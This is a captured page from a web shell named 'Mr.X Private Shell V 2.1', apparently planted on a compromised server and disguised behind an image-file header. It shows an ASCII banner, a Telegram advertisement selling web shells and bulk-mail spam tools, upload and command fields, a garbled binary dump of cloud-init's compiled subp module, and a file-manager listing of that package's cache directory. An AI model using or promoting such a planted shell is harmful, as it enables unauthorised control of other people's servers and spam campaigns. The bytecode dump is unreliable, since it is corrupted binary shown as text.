����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dgp1�
@sdZddlZddlZddlZddlZddlmZddlmZddl	m
Z
mZmZddl
mZe�e�Ze�ddd	g�Zd
d�ZGdd
�d
e�Zee
ee
efd�dd�Zdddddddddd�	eeee
ee
efed�dd�Zd!dd�Zd"eed�dd�Zdd�Zd#dd �ZdS)$z9Common utility functions for interacting with subprocess.�N)�ENOEXEC)�
TextIOWrapper)�List�Optional�Union)�performance�
SubpResult�stdout�stderrcCs�g}g}g}|D]�}t|t�rR|ddur8|dd�}q�|d|kr�|�d|�n6t|t�rx|�|�d��s�|�|�n|�t|��q|�|�q|r�t�d||d�|��|r�t	dj
|d�|�d���|S)	a�Ensure user-provided commands start with base_command; warn otherwise.

    Each command is either a list or string. Perform the following:
       - If the command is a list, pop the first element if it is None
       - If the command is a list, insert base_command as the first element if
         not present.
       - When the command is a string not starting with 'base-command', warn.

    Allow flexibility to provide non-base-command environment/config setup if
    needed.

    @commands: List of commands. Each command element is a list or string.

    @return: List of 'fixed up' commands.
    @raise: TypeError on invalid config item type.
    rN�� z Non-%s commands in %s config:
%s�
zHInvalid {name} config. These commands are not a string or list:
{errors})�name�errors)�
isinstance�list�insert�str�
startswith�append�LOG�warning�join�	TypeError�format)Zbase_commandZcommands�warningsrZfixed_commandsZcommand�r�2/usr/lib/python3.9/site-packages/cloudinit/subp.py�prepend_base_commands:

�
��rc@sHeZdZdZdZddd�Zdd�Zd
eee	feee	fd	�d
d�Z
dS)�ProcessExecutionErrorzr%(description)s
Command: %(cmd)s
Exit code: %(exit_code)s
Reason: %(reason)s
Stdout: %(stdout)s
Stderr: %(stderr)s�-Nc		Cs|p|j|_|r||_n|s,|tkr,d|_nd|_t|t�r@|n|j|_|sb|durZ|jn||_n|�|�|_|s�|dur�|jn||_	n|�|�|_	|p�|j|_
|r�||_|j|�
|j�|�
|j�|�
|j�|�
|j	�|�
|j�|�
|j
�d�}t�||�dS)Nz(Exec format error. Missing #! in script?z'Unexpected error while running command.)�description�cmd�	exit_coder	r
�reason)�
empty_attrr"r!rr�intr#r
�_indent_textr	r$�errno�MESSAGE_TMPL�_ensure_string�IOError�__init__)	�selfr	r
r#r"r!r$r(�messagerrrr,Qs4
�





�zProcessExecutionError.__init__cCst|t�r|��S|S)z1
        if data is bytes object, decode
        �r�bytes�decode)r-�textrrrr*�sz$ProcessExecutionError._ensure_string�)r2�returncCs>t|t�s$|�d��ddd|�S|�d��ddd|�S)z�
        indent text on all but the first line, allowing for easy to read output

        remove any newlines at end of text first to prevent unneeded blank
        line in output
        r
r�
� )rr0�rstrip�replace)r-r2Zindent_levelrrrr'�s	
z"ProcessExecutionError._indent_text)NNNNNNN)r3)�__name__�
__module__�__qualname__r)r%r,r*rrr0r'rrrrrFs"��
/�

�r)�argscCs@|D]6}t|t�st|d�st�d|�t|d|��d��qdS)z�check argument types to ensure that subp() can run the argument

    Throw a user-friendly exception which explains the issue.

    args: list of arguments passed to subp()
    raises: ProcessExecutionError with information explaining the issue
    �encodezRunning invalid command: %szRunning invalid command: )r"r$N)rr0�hasattrrrr)r<Z	componentrrr�raise_on_invalid_command�s
�r?TFr8)	�data�rcs�capture�shell�	logstringr1�
update_env�cwd�timeout)r<r4c	
s�|durdg}tj��}
|r&|
�|�t�d|r4|n||||�d}d}|rXtj}tj}|durhtj}
ntj}
t	|t
�s�|��}t	|t
�r�|}n,t	|t�r�|�d�}nt
|�dd�|D�}zht�d�|r�|n|���:tj||||
|
||d�}|j||	d	�\}}Wd�n1�s0YWnPt�yt}z6t|||j��rJd
nd��rVd
ndd�|�WYd}~n
d}~00��r�d�fd
d�	}||�}||�}|j}||v�r�t||||d��t||�S)a�Run a subprocess.

    :param args: command to run in a list. [cmd, arg1, arg2...]
    :param data: input to the command, made available on its stdin.
    :param rcs:
        a list of allowed return codes.  If subprocess exits with a value not
        in this list, a ProcessExecutionError will be raised.  By default,
        data is returned as a string.  See 'decode' parameter.
    :param capture:
        boolean indicating if output should be captured.  If True, then stderr
        and stdout will be returned.  If False, they will not be redirected.
    :param shell: boolean indicating if this should be run with a shell.
    :param logstring:
        the command will be logged to DEBUG.  If it contains info that should
        not be logged, then logstring will be logged instead.
    :param decode:
        if False, no decoding will be done and returned stdout and stderr will
        be bytes.  Other allowed values are 'strict', 'ignore', and 'replace'.
        These values are passed through to bytes().decode() as the 'errors'
        parameter.  There is no support for decoding to other than utf-8.
    :param update_env:
        update the environment for this command with this dictionary.
        this will not affect the current processes os.environ.
    :param cwd:
        change the working directory to cwd before executing the command.
    :param timeout: maximum time for the subprocess to run, passed directly to
        the timeout parameter of Popen.communicate()

    :return
        if not capturing, return is (None, None)
        if capturing, stdout and stderr are returned.
            if decode:
                entries in tuple will be string
            if not decode:
                entries in tuple will be bytes
    NrzFRunning command %s with allowed return codes %s (shell=%s, capture=%s)�utf-8cSs$g|]}t|t�r|n|�d��qS)rH)rr0r=)�.0�xrrr�
<listcomp>szsubp.<locals>.<listcomp>z
Running {})r	r
�stdin�envrCrF)rGr �-)r"r$r(r	r
cst|t�r|�|��S|S�Nr/)r@�m�r1rr�ldecodeszsubp.<locals>.ldecode)r	r
r#r")rH)�os�environ�copy�updater�debug�
subprocess�PIPEZDEVNULLrr0r=rr?rZTimedr�PopenZcommunicate�OSErrorrr(�
returncoder)r<r@rArBrCrDr1rErFrGrMr	r
rLZ
bytes_args�sp�out�err�erR�rcrrQr�subp�s�2


�



���	6��
�rbcCs�|dvrd}n<t|t�s(td|����n"tj�|�}|�d�rJ|dd�}|sR|St|�rt|ddkrt|dd�}qRtj�||�S)N)N��/zUnexpected input for target: z//rr)	rr�
ValueErrorrS�path�abspathr�lenr)�targetrfrrr�target_path)s

rj)r4cCs�t|�}tjj|vr&tt||��r&|S|durhdd�tj�dd��tj�D�}|dkrZ|ndd�|D�}dd�|D�}|D],}tjj�	||f�}tt||��rz|SqzdS)NcSsg|]}|�d��qS)�")�strip�rI�prrrrKHszwhich.<locals>.<listcomp>�PATHrcrdcSsg|]}|�d�r|�qS)rd)rrmrrrrKL�cSsg|]}tj�|��qSr)rSrfrgrmrrrrKOrp)
rjrSrf�sep�is_exerT�get�split�pathsepr)Zprogram�searchri�pathsrfZppathrrr�which>s��
rxcCstj�|�ot�|tj�SrO)rSrf�isfile�access�X_OK)ZfpathrrrrrYsrrc	Cs>|rtj�|�sdSg}g}|dur*g}n.t|t�r@t|�g}nt|t�rP|}ntd��tt�|��D]�}tj�	||�}t
|�r�|�|�zt||gdd�Wn8t
y�}z t�|�|�|�WYd}~n
d}~00qftj�|�r�t�d|�qft�d|�qf|�r:|�r:tdt|��dd�	|��d	t|��d
���dS)Nz%exe_prefix must be None, str, or listF)rBzjskipping %s as its not executable or the underlying file system is mounted without executable permissions.zNot executing special file [%s]z
Runparts: z failures (�,z) in z attempted commands)rSrf�isdirrrrr�sorted�listdirrrrrrbrrrWryr�RuntimeErrorrh)	ZdirpZ
skip_no_existZ
exe_prefixZfailedZ	attempted�prefixZexe_nameZexe_pathr`rrr�runparts^s@



"���r�)NN)NN)TN)�__doc__�collectionsZloggingrSrXr(r�ior�typingrrrZ	cloudinitrZ	getLoggerr9r�
namedtuplerrr+rrr0r?rbrjrxrrr�rrrr�<module>s>
3N��


Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 145 B 0644
__init__.cpython-39.pyc File 145 B 0644
apport.cpython-39.opt-1.pyc File 7.09 KB 0644
apport.cpython-39.pyc File 7.09 KB 0644
atomic_helper.cpython-39.opt-1.pyc File 2.82 KB 0644
atomic_helper.cpython-39.pyc File 2.82 KB 0644
cloud.cpython-39.opt-1.pyc File 3.67 KB 0644
cloud.cpython-39.pyc File 3.67 KB 0644
dmi.cpython-39.opt-1.pyc File 6.12 KB 0644
dmi.cpython-39.pyc File 6.12 KB 0644
event.cpython-39.opt-1.pyc File 2.03 KB 0644
event.cpython-39.pyc File 2.03 KB 0644
features.cpython-39.opt-1.pyc File 1.54 KB 0644
features.cpython-39.pyc File 1.54 KB 0644
gpg.cpython-39.opt-1.pyc File 6.72 KB 0644
gpg.cpython-39.pyc File 6.72 KB 0644
helpers.cpython-39.opt-1.pyc File 13.38 KB 0644
helpers.cpython-39.pyc File 13.38 KB 0644
importer.cpython-39.opt-1.pyc File 1.73 KB 0644
importer.cpython-39.pyc File 1.73 KB 0644
lifecycle.cpython-39.opt-1.pyc File 8.1 KB 0644
lifecycle.cpython-39.pyc File 8.1 KB 0644
netinfo.cpython-39.opt-1.pyc File 13.81 KB 0644
netinfo.cpython-39.pyc File 13.81 KB 0644
performance.cpython-39.opt-1.pyc File 3.56 KB 0644
performance.cpython-39.pyc File 3.56 KB 0644
persistence.cpython-39.opt-1.pyc File 2.87 KB 0644
persistence.cpython-39.pyc File 2.87 KB 0644
registry.cpython-39.opt-1.pyc File 1.44 KB 0644
registry.cpython-39.pyc File 1.44 KB 0644
safeyaml.cpython-39.opt-1.pyc File 7.7 KB 0644
safeyaml.cpython-39.pyc File 7.7 KB 0644
settings.cpython-39.opt-1.pyc File 1.17 KB 0644
settings.cpython-39.pyc File 1.17 KB 0644
signal_handler.cpython-39.opt-1.pyc File 1.62 KB 0644
signal_handler.cpython-39.pyc File 1.62 KB 0644
simpletable.cpython-39.opt-1.pyc File 2.61 KB 0644
simpletable.cpython-39.pyc File 2.61 KB 0644
socket.cpython-39.opt-1.pyc File 4.61 KB 0644
socket.cpython-39.pyc File 4.61 KB 0644
ssh_util.cpython-39.opt-1.pyc File 15.38 KB 0644
ssh_util.cpython-39.pyc File 15.38 KB 0644
stages.cpython-39.opt-1.pyc File 26.88 KB 0644
stages.cpython-39.pyc File 26.88 KB 0644
subp.cpython-39.opt-1.pyc File 9.69 KB 0644
subp.cpython-39.pyc File 9.69 KB 0644
temp_utils.cpython-39.opt-1.pyc File 2.79 KB 0644
temp_utils.cpython-39.pyc File 2.79 KB 0644
templater.cpython-39.opt-1.pyc File 6.26 KB 0644
templater.cpython-39.pyc File 6.26 KB 0644
type_utils.cpython-39.opt-1.pyc File 475 B 0644
type_utils.cpython-39.pyc File 475 B 0644
url_helper.cpython-39.opt-1.pyc File 26.22 KB 0644
url_helper.cpython-39.pyc File 26.22 KB 0644
user_data.cpython-39.opt-1.pyc File 8.3 KB 0644
user_data.cpython-39.pyc File 8.3 KB 0644
util.cpython-39.opt-1.pyc File 69.77 KB 0644
util.cpython-39.pyc File 69.77 KB 0644
version.cpython-39.opt-1.pyc File 466 B 0644
version.cpython-39.pyc File 466 B 0644
warnings.cpython-39.opt-1.pyc File 3.28 KB 0644
warnings.cpython-39.pyc File 3.28 KB 0644